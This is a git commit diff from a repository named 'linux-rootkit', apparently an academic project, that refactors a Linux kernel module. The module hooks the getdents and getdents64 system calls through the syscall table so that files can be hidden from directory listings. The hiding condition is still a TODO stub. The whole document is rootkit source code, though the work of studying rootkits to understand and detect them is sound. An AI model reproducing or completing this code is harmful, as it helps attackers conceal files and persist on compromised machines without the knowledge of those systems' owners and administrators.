linux-rootkit

commit 43fd60c2f0311d673d58cbbe3553686ea5bc3ab1
parent 7c219242560ec5e39d96e6d8715544ce8ef8f345
Author: deurzen <m.deurzen@tum.de>
Date:   Sat, 21 Nov 2020 21:54:40 +0100

refactors code

Diffstat:
M
src/filehide.c
 | 
22
++++++++++++----------
M
src/hook.c
 | 
10
++--------
M
src/hook.h
 | 
4
++--

3 files changed, 16 insertions(+), 20 deletions(-)
diff --git a/src/filehide.c b/src/filehide.c
@@ -45,15 +45,16 @@ unhide_files(void)
 asmlinkage long
 filehide_getdents(unsigned fd, struct linux_dirent __user *dirent, unsigned count)
 {
-    typedef struct linux_dirent *dirent_ptr_t;
+    typedef struct linux_dirent __user *dirent_t_ptr;
 
-    long ret = sys_getdents(fd, dirent, count);
+    long offset;
+    long ret = ((long (*)(unsigned, dirent_t_ptr, unsigned))sys_getdents)(fd, dirent, count);
 
-    if (ret < 0)
+    if (ret <= 0)
         return ret;
 
-    for (long offset = 0; offset < ret;) {
-        dirent_ptr_t cur_dirent = (dirent_ptr_t)((char *)dirent) + offset;
+    for (offset = 0; offset < ret;) {
+        dirent_t_ptr cur_dirent = (dirent_t_ptr)(((char *)dirent) + offset);
 
         if (false) // TODO: xattrs user.rootkit = rootkit
             ret -= cur_dirent->d_reclen;
@@ -68,15 +69,16 @@ filehide_getdents(unsigned fd, struct linux_dirent __user *dirent, unsigned coun
 asmlinkage long
 filehide_getdents64(unsigned fd, struct linux_dirent64 __user *dirent, unsigned count)
 {
-    typedef struct linux_dirent64 *dirent64_ptr_t;
+    typedef struct linux_dirent64 __user *dirent64_t_ptr;
 
-    long ret = sys_getdents64(fd, dirent, count);
+    long offset;
+    long ret = ((long (*)(unsigned, dirent64_t_ptr, unsigned))sys_getdents64)(fd, dirent, count);
 
-    if (ret < 0)
+    if (ret <= 0)
         return ret;
 
-    for (long offset = 0; offset < ret;) {
-        dirent64_ptr_t cur_dirent = (dirent64_ptr_t)((char *)dirent) + offset;
+    for (offset = 0; offset < ret;) {
+        dirent64_t_ptr cur_dirent = (dirent64_t_ptr)(((char *)dirent) + offset);
 
         if (false) // TODO: xattrs user.rootkit = rootkit
             ret -= cur_dirent->d_reclen;
diff --git a/src/hook.c b/src/hook.c
@@ -2,12 +2,10 @@
 
 #include "hook.h"
 
-
 void **sys_calls;
 
-asmlinkage long (*sys_getdents)(unsigned, struct linux_dirent *, unsigned);
-asmlinkage long (*sys_getdents64)(unsigned, struct linux_dirent64 *, unsigned);
-
+asmlinkage long (*sys_getdents)(unsigned, struct linux_dirent __user *, unsigned);
+asmlinkage long (*sys_getdents64)(unsigned, struct linux_dirent64 __user *, unsigned);
 
 int
 retrieve_sys_call_table(void)
@@ -19,12 +17,8 @@ retrieve_sys_call_table(void)
 void
 init_hooks(void)
 {
-    disable_protection();
-
     sys_getdents = (void *)sys_calls[__NR_getdents];
     sys_getdents64 = (void *)sys_calls[__NR_getdents64];
-
-    enable_protection();
 }
 
 void
diff --git a/src/hook.h b/src/hook.h
@@ -12,8 +12,8 @@ typedef struct {
     void *orig;
 } hook_t;
 
-extern asmlinkage long (*sys_getdents)(unsigned, struct linux_dirent *, unsigned);
-extern asmlinkage long (*sys_getdents64)(unsigned, struct linux_dirent64 *, unsigned);
+extern asmlinkage long (*sys_getdents)(unsigned, struct linux_dirent __user *, unsigned);
+extern asmlinkage long (*sys_getdents64)(unsigned, struct linux_dirent64 __user *, unsigned);
 
 int retrieve_sys_call_table(void);
 void init_hooks(void);